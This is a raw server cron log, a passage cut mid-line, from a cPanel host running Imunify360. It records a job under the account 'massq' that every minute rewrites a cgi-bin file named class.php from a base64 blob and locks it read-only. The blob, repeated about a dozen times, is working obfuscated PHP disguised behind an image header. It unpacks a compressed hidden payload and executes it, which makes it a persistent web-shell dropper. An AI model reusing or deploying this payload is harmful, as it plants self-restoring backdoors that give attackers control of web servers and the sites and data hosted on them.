aUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:08:01 server CROND[28141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:08:01 server CROND[28139]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:08:01 server CROND[28140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:09:01 server CROND[28510]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:09:01 server CROND[28511]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 06:09:01 server CROND[28512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:09:01 server CROND[28513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:10:01 server CROND[28889]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 06:10:01 server CROND[28891]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 06:10:01 server CROND[28895]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 06:10:01 server CROND[28893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:10:01 server CROND[28896]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:10:01 server CROND[28897]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 06:10:01 server CROND[28894]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 06:10:01 server CROND[28898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:11:01 server CROND[29729]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:11:01 server CROND[29730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:11:01 server CROND[29731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:12:01 server CROND[30097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:12:01 server CROND[30098]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:12:01 server CROND[30096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:12:01 server CROND[30099]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 06:13:01 server CROND[30573]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:13:01 server CROND[30574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:13:01 server CROND[30575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:14:01 server CROND[30943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:14:01 server CROND[30945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:14:01 server CROND[30944]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:15:01 server CROND[31326]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 06:15:01 server CROND[31327]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 06:15:01 server CROND[31335]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:15:01 server CROND[31332]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:15:01 server CROND[31337]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 11 06:15:01 server CROND[31349]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 06:15:01 server CROND[31350]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 06:15:01 server CROND[31353]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 06:15:01 server CROND[31348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:15:01 server CROND[31354]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 11 06:16:01 server CROND[32191]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:16:01 server CROND[32192]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:16:01 server CROND[32193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:17:01 server CROND[32557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:17:01 server CROND[32559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:17:01 server CROND[32560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:18:01 server CROND[579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:18:01 server CROND[580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:18:01 server CROND[581]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:19:01 server CROND[1014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:19:01 server CROND[1016]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:19:01 server CROND[1015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:20:01 server CROND[1492]: (root) CMD (/usr/lib64/sa/sa1 1 1)
